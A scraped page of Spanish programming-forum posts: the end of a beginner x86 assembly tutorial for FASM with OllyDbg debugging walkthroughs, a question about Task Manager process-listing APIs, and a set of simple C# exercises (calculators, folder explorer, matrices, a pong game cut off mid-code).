    Aparte de estos hay muchos más registros en el microprocesador, pero nosotros con estos pocos tendremos más que suficiente para hacer la gran mayoría de nuestras aplicaciones en ASM.


    OLLY DGB: EL DEBUGGER

    Un debugger o depurador es una herramienta que nos permitirá ejecutar nuestro programa paso a paso para solucionar ciertos problemas de programación con los que nos podamos encontrar cuando estemos programando en ASM o en cualquier otro lenguaje.

    Lo primero que debemos hacer es descargarnos este debugger de manera totalmente gratuita de su página oficial ( http://www.ollydbg.de/odbg110.zip ). Una vez lo tengamos todo preparado comenzaremos la primera practica de nuestro taller ;D

    Empezamos. Copiamos este código en el FASM y ensamblarlo pulsando Control+F9. Por ahora no tenéis que entender nada del código, esta práctica es solamente para que veáis lo que pasa dentro del microprocesador al ejecutar un programa:

    Código (asm) [Seleccionar]
    include 'H:\archivos de programa\fasm\include\win32ax.inc'

    .data
       cuerpo db 'Hola mundo', 0
       titulo db 'xD', 0

    .code
    start:

       mov eax, NULL    ; Esto equivale a eax = 0
       mov ebx, 0x1234  ; Esto equivale a ebx = 1234 (el 0x de delante indica que es hexadecimal)

       push 0           ; Observamos la pila para ver que pasa
       push titulo
       push cuerpo
       push 0
       call [MessageBoxA]

       mov edi, NULL
       mov di, 2

       push 0
       call [ExitProcess]


    .end start



    Apretamos Control+F9, guardamos este código en cualquier ruta con el nombre de Practica1.asm y vereis como se genera un .exe.

    Ahora abrimos el olly, File -> Open y seleccionamos nuestro ejecutable. Veremos algo como esto:

    Por si el link está roto

    En rojo os he indicado las partes fundamentales de las que consta nuestra ventana. Las analizo a continuación una a una ;)

    Código del programa: Aquí podemos ver varias cosas interesantes. En la primera columna empezando por la izquierda podemos ver la dirección de memoria en la que se encuentra cierta instrucción. Presupongo que todo el mundo sabe más o menos como se carga un archivo en memoria. En la segunda columna podemos ver nuestro código en forma de opcodes, o lo que es lo mismo, nuestro código expresado en unos y ceros, solo que en base 16 para una mayor claridad, es decir, en hexadecimal. En la tercera columna vemos nuestro código tal y como lo hemos escrito en el FASM y en la última columna vemos algunas aclaraciones que nos pone el olly que nos serán de gran ayuda para entender mejor lo que hace el programa.

    Registros: En esa parte del debugger podemos ver los registro que hemos explicado antes y los datos que contienen.

    Editor hexadecimal: Vemos nuestro programa tal y como está cargado en memoria. De nuevo todo eso son unos y ceros, pero se expresa en hexadecimal por que para un humano es más facil comprenderlo.

    Pila: Aquí podemos ver nuestra famosa pila. Según vayamos ejecutando el programa veremos las cosas que entran y salen de ella y de que manera lo hacen.


    Bien, ahora ya sabemos donde están los datos que nos interesan de nuestro programa, pero el programa no se está ejecutando ni haciendo nada, ¿por qué? Este es precisamente el objetivo de un debugger, ejecutar el programa paso a paso, así que vamos a aprender lo necesario para lograrlo.

    F8: Si pulsamos esta tecla el programa se ejecutará instrucción a instrucción permitiéndonos ver en cada momento el valor que tienen los registros, las variables y de mas.

    F7: Causa el mismo efecto que F8, con la diferencia de que si nos encontramos en un call y pulsamos F8 el programa no entrará dentro de la función, si pulsamos F7 si lo hará y podemos ver como funciona por dentro la misma.

    F2: Sirve para poner un breakpoint. Es decir, una "marca" que hará que el programa se para al llegar a ella.

    F9: Ejecuta con normalidad el programa a no ser que se encentre con un breakpoint.

    Bien, ahora ya conocemos todo lo necesario para depurar nuestros programas, así que manos a la obra. Lo primero que vamos a hacer es poner un breakpoint justo después de la llamada a MessageBoxA pulsando F2. Veréis que el 40201E que indica la posición de memoria de esta instrucción (por lo menos esa es la dirección en mi caso) se pone en rojo.

    Ahora vamos a ir pulsando F8 poco a poco para ir viendo lo que sucede. Ejecutamos el mov eax, NULL y si miramos a la derecha, en la zona de los registros, podemos ver como el registro eax se a puesto a cero. Si pulsamos F8 de nuevo veremos como el ebx toma valor 1234.

    Ahora entramos en la zona de los push, así que miramos a la pila (abajo a la derecha). Ejecutamos con F8 el primer push y veremos como "empujamos" dentro de la pila un 0. Pulsamos F8 hasta que estemos justamente en el call. Ahora en vez de F8 pulsamos F7 para entrar dentro de la llamada al api MessageBoxA. Lo primero que notaremos es que en la pila entra un parámetro más, el 0x40102E en mi caso por lo menos, que es la dirección de retorno, esto le indica al programa que cuando termine la llamada al api tiene que regresar a ese punto la ejecución.
    Si queremos podemos ir pulsando F8 dentro del api, pero como ese código no nos interesa pulsamos F9 para que el programa se ejecute con normalidad. Si lo hacemos veremos que se nos muestra un mensaje emergente y que el programa se detiene donde habíamos puesto nuestro breakpoint.

    Finalmente podemos seguir pulsando F8 para ver como van cambiando los registros indicados (incluido el EIP, que apuntará constantemente a la siguiente instrucción) y finalmente salir del programa al llamar al api ExitProcess.


    INSTRUCCIONES BÁSICAS DE ASM:

    Ha continuación explicaré algunas instrucciones básicas que nos proporcionan los micros de la familia x86. Hay más, podéis googlear un poco para verlas, pero con estas nos apañharemos.
    Cuando me refiero a miDWORD, miByte o algo por el estilo, me estoy refiriendo a una variable del tamaño especificado después de "mi". Para hacer las pruebas poned el código entre las etiquetas indicadas a continuación, por ejemplo esto sería para el MOV (se explica a continuación):

    Código (asm) [Seleccionar]
    include 'H:\Archivos de programa\FASM\INCLUDE\WIN32AX.inc'

    .data
            miByte  db ?
            miWORD  dw ?
            miDWORD dd ?

    .code
    start:


    ; ---> Aqui haz las pruebas

    mov eax, ebx    ; eax = ebx
    mov eax, 1 ; Hace eax = 1
    mov eax, miDWORD ; eax = Puntero a una variable
    mov eax, [miDWORD]  ; eax = Contenido de la variable
    mov [miDWORD], eax ; MiDWORD pasa a valer lo que valga eax
    ;mov [miDWORD], [otroDWORD] ; No válido

    ; <--- FIN

    invoke ExitProcess, 0

    .end start



    MOV destino, origen
    Sirve para mover información del origen al destino. Por ejemplo de un registro a otro, de un registro a una variable, etc. Aunque no nos sirve para mover datos entre dos variables.

    Ejemplos:

    mov eax, ebx    ; eax = ebx
    mov eax, 1 ; Hace eax = 1
    mov eax, miDWORD ; eax = Puntero a una variable
    mov eax, [miDWORD]  ; eax = Contenido de la variable
    mov [miDWORD], eax ; MiDWORD pasa a valer lo que valga eax
    ;mov [miDWORD], [otroDWORD] ; No válido

    Es muy importante distinguir que en FASM si ponemos una variable entre "[ ]" nos estamos refiriendo a su contenido y si no a su posición en memoria.

    INC/DEC Variable o registro

    INC suma uno a una variable o registro y DEC le resta uno.

    Ejemplos:

    inc eax
    dec ecx
    inc [miDWORD]
    dec [miDWORD]

    ADD/SUB Destino, Cantidad

    ADD suma un determinado número a un registro o variable. SUB lo resta. Como siempre no está permitido sumar o restar datos directamente entre variables.

    Ejemplos:

    add eax, 5
    add edi, [miDWORD]
    add [miDWORD], eax
    sub [miDWORD], 2

    MUL Multiplicando

    MUL varía dependiendo de si el Multiplicando tiene 8 bits, 16 bits o 32 bits:
    - Para 8 bits se hace AL * Multiplicando. Se guarda el resultado en AX.
    - Para 16 bits se hace AX * Multiplicando. Se guarda el resultado en DX..AX (DX..AX significa que se concatenan los valores, es decir si DX = 0001 y AX = 2001 DX..AX = 00012001)
    - Para 32 bits se hace EAX * Multiplicando. Se guarda el resultado en EDX:EAX

    Ejemplo:

    mov [miDWORD], 0x12932
    mov eax, 0x54562
    mul [miDWORD]
    ; EDX..EAX = 0x000000061E863F24

    DIV Divisor

    DIV de nuevo varía un poco dependiendo de si el divisor tiene 8 bits, 16 bits o 32 bits:
    - Para 8 bits se hace AL / Divisor. Se guarda el resultado AL y el resto en AH.
    - Para 16 bits se hace DX..AX / Divisor. Se guarda el resultado en AX y el resto en DX.
    - Para 32 bits se hace EDX..EAX / Divisor. Se guarda el resultado en EAX y el resto en EDX.

    Ejemplo:

    mov [miByte], 4
    mov al, 9
    div [miByte]
    ; al = Resultado entero = 9/4 = 2
    ; ah = Resto = 1

    PUSH DWORD

    PUSH mete un DWORD en la pila. La pila se utiliza por ejemplo para pasar parámetros a las funciones o para utilizar variables locales. Es importante que cada PUSH tenga un POP (ahora lo explico).

    Ejemplos:

    push [miDWORD]
    push eax
    push edi

    POP DWORD

    POP al contrario que PUSH saca un DWORD de la pila.

    Ejemplos:

    push [miDWORD]
    pop ebx
    push eax
    pop [miDWORD]

    Como ya sabéis podéis ver como cambia la pila con el olly por ejemplo ;)

    RET

    RET se usa generalmente para regresar de una función. Lo que hace realmente es "popear" un DWORD de la pila y saltar a él. De ahí que en las funciones se meta la dirección de retorno en la pila y con el RET continúe la ejecución del programa donde corresponde.
    A los interesados en el Stack Overflow esto les puede interesar bastante ;)

    JMP Etiqueta/Dirección

    JMP viene de jump y como el nombre indica vale para saltar a una determinada posición de memoria. FASM nos permite utilizar etiquetas que no son más que una palabra seguida de ":" para facilitar el salto. Luego el linker ya se encarga de ajustarlo todo. Con un ejemplo se entiende mejor.

    Ejemplo:

    jmp continuar
    mov eax, eax ; Esto no se ejecutaría
    continuar:

    CMP Valor1, Valor2

    CMP compara dos valores. En realidad lo que hace esta instrucción es restar el Valor2 del Valor1 y activar el Flag correspondiente a el resultado. Por ejemplo si son iguales, si uno es mayor que el otro... (un Flag es como un registro pero que solo almacena 1 bit).
    Usaremos esta instrucción para los saltos condicionales que se explicarán a continuación.

    SALTOS CONDICIONALES:

    Estos saltos se diferencian del JMP en que mientras que el primero salta donde le indiquemos siempre estos pueden hacerlo o no. Esto nos puede resultar muy útil para simular lo que sería la estructura IF de un lenguaje de alto nivel por poner un ejemplo.

    Hay muchos tipos, así que no pondré todos, pero por citar algunos:
    JE – Salta si los números comparados son iguales.
    JNE – Salta si no son iguales.
    JG – Salta si Valor1 es mayor que Valor2.
    JGE – Salta si Valor1 es mayor o igual que Valor2.
    JB – Salta si Valor1 es menor que Valor2.
    JBE – Salta si Valor1 es menor o igual que Valor2.

    Como ya he dicho hay muchos más, así que buscad un poco por google, que son unos cuantos para ponerlos todos.

    Ejemplo:

    mov eax, 2
    cmp eax, 2
    je salir

    invoke MessageBox, 0, 'No salta', '', 0 ; Esto no se ejecuta

    salir:
            invoke ExitProcess, 0


    Ejercicos propuestos (no seais vagos!  :¬¬ )

    - Hacer un programa que inicialice a 2 el registro eax, a 5 el ebx y los sume quedando su resultdo en eax

    - Hacer un programa que halle la media de los valores 7, 8, 5, 2 ,9 ,1 ,0  y 3

    - Hacer un programa que meta en la pila los valores 1, 2, 3, 4, 5 y 6 y los asigne a los registros eax, ebx, ecx, edx, edi y esi respectivamente con un pop

    - Implementar la instrucción IF de los lenguajes de alto nivel con saltos condicionales

    - Hacer un programa que sume dos números que indikemos en el código y si la suma es mayor que 5 muestre un mensaje, si no salga (para mostrar el mensaje poner esa línea: invoke MessageBox, 0, 'Mayor que 5', '', 0 )



    INSTRUCCIONES LÓGICAS:

    Aparte de las instrucciones que he puesto (y las que no he puesto :P) hay una serie de operaciones lógicas que nos sirven para tratar con bits. Aquí dejo las tablas de verdad de algunas de ellas. No os preocupéis si no sabéis aun que significa cada cosa, más abajo las explico todas, solo echadle un ojo a la tabla:

             X   Y      AND         OR        XOR                 |                X   NOT
             0    0      0             0          0                      |                0   1
             0    1      0             1          1                      |                1   0
             1    0      0             1          1                      |
             1    1      1             1          0                      |

    Aparte de las que hay en la tabla también vamos a ver otras ;) No voy a entrar en mucho detalle, se usan como todas las instrucciones que ya he explicado, solo hay que seguir la tabla.


    NOT Destino

    Lo que hace esta operación lógica es cambiar 1's por 0's y viceversa. Imaginaos que tenemos en eax el valor 001101 (en binario), tras hacer un "not ax" nos quedaría almacenado en ese mismo registro 110010.

    AND Destino, Dato

    Imaginemos que tenemos guardado en eax el valor 101011 y en ebx el valor 011101,. Tras hacer "and eax, ebx" nos quedaría guardado en eax el valor  001001.

    OR Destino, Dato

    Imaginemos que ahora tenemos guardado en eax 1010 y en ebx 1100. Tras hacer "or eax, ebx" nos quedaría guardado en eax 1110.

    XOR Destino, Dato

    Ahora tenemos en eax 10110 y en ebx 11011. Tras hacer "xor eax, ebx" nos quedaría en eax 01101. Esta operación es especialmente útil (y muy utilizada) en métodos de cifrado, ya que si os fijáis en su tabla de verdad al hacer un xor a un bit "destino" con otro bit "dato" que valga 5 por poner un ejeplo, el bit "destino" quedará totalmente irreconocible. Lo gracioso del asunto es que si volvemos a hacer al bit "destino" un xor de nuevo con un 5 volverá a valer lo que valía en un inicio.

    ROL/ROR Destino, Rotación

    Estas operaciones a nivel bit lo que hacen es mover hacia la izquierda (ROL) o hacia la derecha (ROR) un grupo de bits tantas posiciones como indique "Rotación". Imaginemos que hacemos "ror eax, 2" pues moveríamos todos los bits de eax dos posiciones hacia la derecha. ¿Qué pasa con los bits que estan muy a la derecha y se salen? Pues simplemente "entran" por la izquierda. Podemos imaginar que los bits están formando un círculo y los vamos desplazando por el mismo con ROR y ROL. Por poner un ejemplo si tenemos estos bits "101011" y les hacemos un ROL con "rotación" 1 nos quedaría 010111.

    SHL/SHR Destino, Rotación

    SHL es como ROL y SHR como ROR con la diferencia de que los bits que se salen al ser desplazados no entran por el otro lado, si no que los bits que se pierden son reemplazados por ceros. Por poner un ejemplo si hacemos un SHL con "rotación" 2 a 000101 nos quedaría 010100. Si os fijáis un poco veréis que 000101 en decimal es 5 y 010100 es 20. Es decir que SHL con rotación 1 es como multiplicar por 2, con rotación 2 es como multiplicar por 4....



    Hasta aquí el apartado de instrucciones lógicas. Hay muchas más, al igual que hay muchas más instrucciones propias de ensamblador, pero por falta de tiempo no puedo explicarlas todas, así que recomiendo mirar las que faltan. Por recomendar algunas webs interesantes:

    http://www.jegerlehner.com/intel/IntelCodeTable_es.pdf
    http://www.wikilearning.com/curso_gratis/curso_de_programacion_de_virus-introduccion/4312-1


    ESTRUCTURA DEL CÓDIGO EN FASM:

    Una vez ya conocemos todas las instrucciones básicas con las que cuenta nuestro microprocesador ya podemos empezar a programar cosas más serias y útiles :P.
    Para ello tenemos que saber como escribir nuestro código para que FASM lo entienda y genere un ejecutable.
    FASM tiene diversas formas de estructurar el código, entre ellas destacan estas tres:


    1 - Lo primero de debemos hacer es incluir el win32ax: include 'C:\archivos de programa\fasm\include\win32ax.inc' claro, que variará dependiendo de donde tengáis instalado el FASM ;)

    Con este método nos ahorramos construir el ImportData a mano, es decir, ir poniendo el nombre de cada api que usamos indicando la dll a la que pertenece.
    La estructura básica es esta:

    Código (asm) [Seleccionar]

    include 'win32ax.inc'

    .data
    ; Aqui van las variables

    .code
    start: ; Aqui empezaria el programa
    ; Aqui va el código

    ; Aquí abajo tambien podemos poner variables :D
    .end start ; Aqui terminaria el programa


    Si os fijais en el ejecutable generado mediante este método y sabéis un poco del formato PE veréis que aparte de las secciones .data y .code que le hemos indicado nosotros también a creado el solo una sección .idata con los nombres de todas las apis que hemos utilizado.

    La ventaja de esta forma de estructurar el código es clara: nos ahorramos un montón de trabajo generando el ImportData a mano.
    Las desventajas son que si por ejemplo queremos usar un api que no esté declarada en la win32ax.inc tenemos que cargarla con LoadLibrary y GetProcAddress, mientras que si hubiesemos creado el ImportData a mano esto no pasaría.

    2 - Para este método podemos incluir de nuevo win32ax o win32a (la ax es la versión extendida, tiene mas declaraciones:

    Código (asm) [Seleccionar]
    format PE GUI ; Tipo de ejecutable
    entry start  ; El "main" de nuestro código

    section '.code' code readable executable

    start:

            ; Aqui el codigo

    section '.data' data readable writeable

    ; Aqui las variables

    section '.idata' import data readable writeable

    ; Aqui el ImportData


    Mirad el ejemplo que viene con FASM en la ruta FASM\EXAMPLES\PEDEMO para ver como funciona ;) Este formato es de lo más útil para manejar cuantas secciones queremos que tenga el archivo, sus características y donde queremos que vaya cada cosa dentro de las mismas.

    3 - Otra opción es no señalar ninguna sección, con lo que FASM creará una única sección llamada ".flat" en la que pondrá todo, las estructura es esta:

    Código (asm) [Seleccionar]
    include 'H:\Archivos de programa\FASM\INCLUDE\WIN32A.inc'
    ; Aqui el codigo
    ; Aqui las variables
    data import
    ; Aqui el ImportData
    end data


    Mirad el ejemplo FASM\EXAMPLES\BEER para más información :P


    VARIABLES EN FASM:

    A diferencia de los lenguajes de programación de alto nivel en ensamblador no tenemos variables del tipo char, integer, long o cosas por el estilo, con ensamblador trataremos directamente con bytes y conjuntos de bytes. Los tipos principales de datos y con los que nos apañharemos son tres. El byte, el word (16 bits, es decir, 2 bytes) y el dword (32bits, es decir, 4 bytes).

    La declaración de variables es muy simple, solamente hay que poner (en el sitio donde corresponda, que eso ya lo hemos visto en el punto anterior) el nombre de la variable, seguido de su tipo (db si es un byte, dw si es un word o dd si es un dword) seguido de un ? si queremos que no se inicialice con ningún valor o también podemos indicar el valor con el que queremos que se inicialice la variable. Por ejemplo:


    Código (asm) [Seleccionar]

            cad db 'Hola', 0  ; Variable de tipo byte. Como podeis apreciar
                              ; la inicialozamos con un valor que es muy superior
                              ; a un unico byte, ya que FASM nos permite construir
                              ; cadenas de texto de esta manera. Fiajaos en el 0
                              ; final, es es caracter de fin de cadena, que es un
                              ; caracter que debemos poner para saber donde termina
                              ; la cadena.
            palabra dw ?      ; Word no incializado
            doble   dd 5      ; Dword inicializado a 5, es decir, esos cuatro bytes
                              ; contienen el valor 5


    Si en vez de usar db, dd o lo que sea ponemos rb, rd seguido de un número lo que haremos será reservar tantas veces se indique en ese número, hechadle un ojo con el olly a este código:

    Código (asm) [Seleccionar]
    include 'H:\archivos de programa\fasm\include\win32ax.inc'

    .data
            doble    rd 4  ; Reservamos 4 dwords
            cadena   rb 50 ; Reservamos 50 bytes
            palabra  rw 2  ; Reservamos 2 words

    .code
    start:

           mov [doble+4], 5
           leave
           ret

    .end start 


    Pues ya está con esto ya sabemos declarar variables. Para utilizarlas solo tenéis que referiros a ellas como hemos hecho en los puntos anteriores con mov's, and's y de más ;)






    Tras todo esto ya solo os queda aprender un poco el api del vuestro sistema operativo (podéis usarla con invoke o push + call) y empezar a realizar vuestras propias aplicaciones ;) Mucha suerte.

    1S4ludo E0N

    Versión para leer sin conexión:
    http://e0n-productions.blogspot.com/2009/01/taller-asm.html



    #14
    Hola

    No se muy bien si esto va aki, pero supongo q si ;)

    Alguien podria indicarme q apis utiliza el administrador de tareas de windows (o decirme como puedo saberlo) para llenar la lista de procesos??

    Saludos  ;)
    #15
    .NET (C#, VB.NET, ASP) / Ejercicios básicos C#
    25 Octubre 2007, 17:39 PM
    Pues eso, como e empezado hace pokito con C# he heho los típicos ejercicios básicos y los keria compartir con vosotros, y si kereis pues animaros y poner alguno vuestro ;)

    Mini-Calculadora en modo consola:
    Código (csharp) [Seleccionar]
    using System;

    namespace Calculadora
    {
    class Program
    {
    public static void Main(string[] args)
    {
    float  primero;     // El primer número
    float  segundo;     // El segundo número
    string operacion;   // La operación a realizar

    Console.Title = "Mini-Calculadora"; // Damos formato a la consola
    Console.BackgroundColor = ConsoleColor.White;
    Console.ForegroundColor = ConsoleColor.Blue;
    Console.Clear();

    Console.SetCursorPosition (3,2); // Pedimos el primer número
    Console.WriteLine ("Introduzca el primer  número");
    Console.SetCursorPosition (60,2);
    primero = float.Parse(Console.ReadLine());

    Console.SetCursorPosition (3,3); // Pedimos la operación
    Console.WriteLine ("Introduzca la operación a realizar (+,-,*,/)");
    Console.SetCursorPosition (59,3);
    operacion = Console.ReadLine();

    Console.SetCursorPosition (3,4); // Pedimos el segundo número
    Console.WriteLine ("Introduzca el segundo número");
    Console.SetCursorPosition (60,4);
    segundo = float.Parse(Console.ReadLine());


    Console.SetCursorPosition (57,5); // Mostramos la solucion...
    Console.WriteLine ("__________");

    Console.SetCursorPosition (3,6);
    Console.WriteLine ("El resultado es");
    Console.SetCursorPosition (60,6);

    Console.WriteLine (calcular(primero,segundo,operacion));
    Console.ReadKey ();

    }

    private static string calcular (float primero , float segundo, string operacion)
    {
    float temp;
    switch (operacion) // Estructura con switch
    {
    case "+":
    temp = primero + segundo;
    return temp.ToString ();
    case "-":
    temp = primero - segundo;
    return temp.ToString ();
    case "*":
    temp = primero * segundo;
    return temp.ToString ();
    case "/":
    temp = primero / segundo;
    return temp.ToString ();
    }
    return "-1";
    }
    }
    }



    Mini-Calculadora en modo gráfico: (los nombres de los controles son faciles de deducir viendo el code  :P)
    Código (csharp) [Seleccionar]
    using System;
    using System.Collections.Generic;
    using System.Drawing;
    using System.Windows.Forms;
    using System.Text;

    namespace Calculadora
    {
    /// <summary>
    /// Description of MainForm.
    /// </summary>
    public partial class MainForm : Form
    {
    int   oper ;   // 1 -> + | 2 -> - | 3 -> * | 4 -> /
    float primero;


    public MainForm()
    {
    InitializeComponent();
    }

    void Numero7Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 7;
    }

    void Numero8Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 8;
    }

    void Numero9Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 9;
    }

    void Numero4Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 4;
    }

    void Numero5Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 5;
    }

    void Numero6Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 6;
    }

    void Numero1Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 1;
    }

    void Numero2Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 2;
    }

    void Numero3Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 3;
    }

    void Numero0Click(object sender, EventArgs e)
    {
    txtnum.Text = txtnum.Text + 0;
    }

    void CClick(object sender, EventArgs e)
    {
    txtnum.Text = "";
    }

    void DivClick(object sender, EventArgs e)
    {
    oper = 4;
    primero = float.Parse (txtnum.Text);
    txtnum.Text = "";
    }

    void MulClick(object sender, EventArgs e)
    {
    oper = 3;
    primero = float.Parse (txtnum.Text);
    txtnum.Text = "";
    }

    void ResClick(object sender, EventArgs e)
    {
    oper = 2;
    primero = float.Parse (txtnum.Text);
    txtnum.Text = "";
    }

    void SumClick(object sender, EventArgs e)
    {
    oper = 1;
    primero = float.Parse (txtnum.Text);
    txtnum.Text = "";
    }

    void SolClick(object sender, EventArgs e)
    {
    float segundo = int.Parse (txtnum.Text);
    float resultado;

    switch (oper)
    {
    case 1:
    resultado = primero + segundo;
    txtnum.Text =  resultado.ToString();
    break;
    case 2:
    resultado = primero - segundo;
    txtnum.Text = resultado.ToString();
    break;
    case 3:
    resultado = primero * segundo;
    txtnum.Text = resultado.ToString();
    break;
    case 4:
    resultado = primero / segundo;
    txtnum.Text = resultado.ToString();
    break;
    }
    }
    }
    }


    Un ejemplo muy simple para resolver ecuaciones de seegundo grado (añadir 3 text box y un boton):
    Código (csharp) [Seleccionar]
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;

    namespace Ecuaciones
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            private void resolver_Click(object sender, EventArgs e)
            {
                ecuacion miEcuacion =  new ecuacion (double.Parse(a.Text), double.Parse(b.Text), double.Parse(c.Text));
            }
        }
    }



    Exporador de carpetas: (añadir un text box "txtRuta" dos listas "lbcar" y "lbar" y un boton con nombre por defecto)
    Código (csharp) [Seleccionar]
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Text;
    using System.Windows.Forms;
    using System.IO;

    namespace ExploradorCarpetas
    {
        public partial class Form1 : Form
        {
            public Form1()
            {
                InitializeComponent();
            }

            // El form load
            private void Form1_Load(object sender, EventArgs e)
            {
                // Iniciamos el txtRuta
                txtRuta.Text = Directory.GetDirectoryRoot(Directory.GetCurrentDirectory());

                // Listamos las carpetas
                carpetas(txtRuta.Text);

                // Listamos los archivos
                archivos(txtRuta.Text);
            }

            // El botón para explorar rutas
            private void button1_Click(object sender, EventArgs e)
            {
                // Listamos las carpetas
                carpetas(txtRuta.Text);

                // Listamos los archivos
                archivos(txtRuta.Text);
            }

            // Al hacer doble click sobre una ruta la colocamos en txtRuta
            private void lbcar_DoubleClick(object sender, EventArgs e)
            {
                txtRuta.Text = lbcar.SelectedItem.ToString();

                // Listamos las carpetas
                carpetas(txtRuta.Text);

                // Listamos los archivos
                archivos(txtRuta.Text);
            }

            // Metodo que coloca las carpetas de la ruta indicada en el list
            // box correspondiente
            private void carpetas(string ruta)
            {
                lbcar.Items.Clear();

                string[] carpeta = Directory.GetDirectories(ruta);

                foreach(string car in carpeta)
                    lbcar.Items.Add (car);
            }

            // Metodo que coloca los archivos de la ruta indicada en el list
            // box correspondiente
            private void archivos(string ruta)
            {
                lbar.Items.Clear();

                string[] archivo = Directory.GetFiles(ruta);

                foreach (string ar in archivo)
                    lbar.Items.Add(ar);
            }
        }
    }



    Operaciones simples con matrices:
    Código (csharp) [Seleccionar]

    using System;

    namespace Matrices
    {
    class Program
    {
    public static void Main(string[] args)
    {
    float [,] mat1; // Las matrices
    float [,] mat2;

    int f1, c1;   // El número de filas y columnas de las matrices
    int f2, c2;

    //Llamamos al menu y recojemos la opción seleccionada
    byte opcion;
    do {
    opcion = menu();
    } while (opcion >= 5);

    switch (opcion)
    {
    case 1: // SUMA

    // Leemos el número de filas y columnas de las matrices 1 y 2
    Console.WriteLine ("Introduzca el número de filas de las matrices 1 y 2");
    f1 = int.Parse (Console.ReadLine());
    Console.WriteLine ("Introduzca el número de columnas de las matrices 1 y 2");
    c1 = int.Parse (Console.ReadLine());

    // Pedimos los datos de filas y columnas
    Console.WriteLine ("Introduzca los datos de la matriz 1 enumerandolos por filas:");
    mat1 = leer(f1,c1);
    Console.WriteLine ("Introduzca los datos de la matriz 2 enumerandolos por filas:");
    mat2 = leer(f1,c1);

    //Mostramos la suma de ambas matrices
    suma(mat1,mat2);
    break;

    case 2: // RESTA

    // Leemos el número de filas y columnas de las matrices 1 y 2
    Console.WriteLine ("Introduzca el número de filas de las matrices 1 y 2");
    f1 = int.Parse (Console.ReadLine());
    Console.WriteLine ("Introduzca el número de columnas de las matrices 1 y 2");
    c1 = int.Parse (Console.ReadLine());


    // Pedimos los datos de filas y columnas
    Console.WriteLine ("Introduzca los datos de la matriz 1 enumerandolos por filas:");
    mat1 = leer(f1,c1);
    Console.WriteLine ("Introduzca los datos de la matriz 2 enumerandolos por filas:");
    mat2 = leer(f1,c1);

    // Mostramos la resta de ambas matrices
    resta (mat1, mat2);
    break;

    case 3: // PRODUCTO POR UN ESCALAR

    // Leemos el número de filas y columnas de la matriz 1
    Console.WriteLine ("Introduzca el número de filas de la matriz 1");
    f1 = int.Parse (Console.ReadLine());
    Console.WriteLine ("Introduzca el número de columnas de la matriz 1");
    c1 = int.Parse (Console.ReadLine());

    float escalar;
    Console.WriteLine ("Introduzca el escalar por el que quiere multiplicar la matriz");
    escalar = float.Parse(Console.ReadLine());

    // Pedimos los datos de filas y columnas
    Console.WriteLine ("Introduzca los datos de la matriz 1 enumerandolos por filas:");
    mat1 = leer(f1,c1);

    // Mostramos la solución
    prodEscalar (mat1,escalar);

    break;
    }
    Console.ReadKey();
    }

    // Función que muestra el menu de selección de operaciones
    public static byte menu()
    {
    try {
    byte opcion;
    Console.SetCursorPosition(10,1);
    Console.WriteLine("Menú:");
    Console.SetCursorPosition(0,3);
    Console.WriteLine("Elija la operación que quiere hacer:");
    Console.WriteLine("1 - Suma de matrices");
    Console.WriteLine("2 - Resta de matrices");
    Console.WriteLine("3 - Producto por un escalar");

    opcion = byte.Parse (Console.ReadLine());

    if (opcion >=1 && opcion <=3) {
    Console.Clear();
    return opcion;
    }
    else {
    Console.Clear();
    return 5;
    }
    } catch {     //En caso de error
    Console.Clear();
    return 5;
    }
    }

    // Función que lee los datos de las matrices
    public static float [,] leer(int filas, int columnas)
    {
    float [,] ret = new float [filas, columnas];
    for (int fila = 0; fila < filas; fila++)
    {
    for (int columna = 0; columna  < columnas; columna++)
    {
    ret[fila,columna] = float.Parse (Console.ReadLine());
    }
    }
    return ret;
    }

    // La función suma
    public static void suma (float [,] mat1, float [,] mat2)
    {
    Console.WriteLine ("La suma de sus dos matrices es (enumeradas por filas)");
    for (int fila = 0; fila <= mat2.GetUpperBound(0); fila++)
    {
    for (int columna = 0; columna <= mat2.GetUpperBound(1); columna++)
    {
    float suma;
    suma = mat1[fila,columna] + mat2[fila,columna];
    Console.WriteLine (suma.ToString());
    }
    Console.WriteLine("");
    }
    }

    // La función resta
    public static void resta (float [,] mat1, float [,] mat2)
    {
    Console.WriteLine ("La resta de sus dos matrices es (enumeradas por filas)");
    for (int fila = 0; fila <= mat2.GetUpperBound(0); fila++)
    {
    for (int columna = 0; columna <= mat2.GetUpperBound(1); columna++)
    {
    float resta;
    resta = mat1[fila,columna] - mat2[fila,columna];
    Console.WriteLine (resta.ToString());
    }
    Console.WriteLine("");
    }
    }

    // Producto por un escalar
    public static void prodEscalar (float [,] mat1, float escalar)
    {
    Console.WriteLine ("La multiplicación del escalar por su matriz es (enumerada por filas)");
    for (int fila = 0; fila <= mat1.GetUpperBound(0); fila++)
    {
    for (int columna = 0; columna <= mat1.GetUpperBound(1); columna++)
    {
    float esc;
    esc = mat1[fila,columna] * escalar;
    Console.WriteLine (esc.ToString());
    }
    Console.WriteLine("");
    }
    }
    }
    }


    Windows-pong, con dos botones y un radio buton simulo en clasico pong, muy cutre pero entretenido xDDD

    Código (csharp) [Seleccionar]
    using System;
    using System.Collections.Generic;
    using System.Drawing;
    using System.Windows.Forms;

    namespace MiniJuegoPelota
    {
    /// <summary>
    /// Description of MainForm.
    /// </summary>
    public partial class MainForm : Form
    {
    //  1 -> Derecha      -1 -> Izquierda
    //  1 -> Abajo        -1 -> Arriba
    private int dx = -1, dy = 1;

    // Variables q contiene la ultima tecla pulsada por cierta pala
    // para q el rebote se efectue en una o otra direcion
    // 'u' (up) -> arriba     'd' (down) -> abajo
    private char d1, d2;


    public MainForm()
    {
    InitializeComponent();
    }

    void Timer1Tick(object sender, EventArgs e)
    {
    // Movemos la "pelota"
    pelota.Left += dx;
